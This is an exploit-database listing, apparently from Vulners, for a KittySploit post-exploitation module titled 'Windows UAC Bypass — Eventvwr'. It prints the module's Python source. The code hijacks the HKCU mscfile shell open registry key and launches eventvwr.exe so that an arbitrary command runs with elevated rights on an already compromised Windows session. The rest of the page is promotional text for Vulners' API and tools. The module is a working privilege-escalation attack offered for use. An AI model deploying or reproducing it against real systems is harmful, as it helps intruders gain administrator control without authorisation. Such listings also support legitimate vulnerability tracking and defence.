Lucene search
+L

Windows UAC Bypass — Eventvwr

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Local UAC bypass in Windows via HKCU mscfile shell open command hijack and eventvwr.exe.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *

from lib.post.windows.uac_bypass import REG_MSCFILE, UAC_AGENT, UacBypassMixin


class Module(Post, UacBypassMixin):
    __info__ = {
        "name": "Windows UAC Bypass — Eventvwr",
        "description": "HKCU mscfile shell open command hijack + eventvwr.exe.",
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "agent": UAC_AGENT,
    }

    command = OptString("", "Command to run elevated", False)

    def run(self):
        if not self.uac_require_windows():
            return False
        if self.uac_is_admin():
            print_success("Already elevated.")
            return True
        cmd = self.uac_prepare_elevated_command()
        ok = self.uac_run_hijack(
            reg_key=REG_MSCFILE,
            command=cmd,
            trigger="start eventvwr.exe",
            cleanup_paths=[r"HKCU\Software\Classes\mscfile"],
            delegate_execute=False,
        )
        if ok:
            print_success("Eventvwr UAC bypass attempted.")
        return ok

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
6Medium risk
Vulners AI Score6
2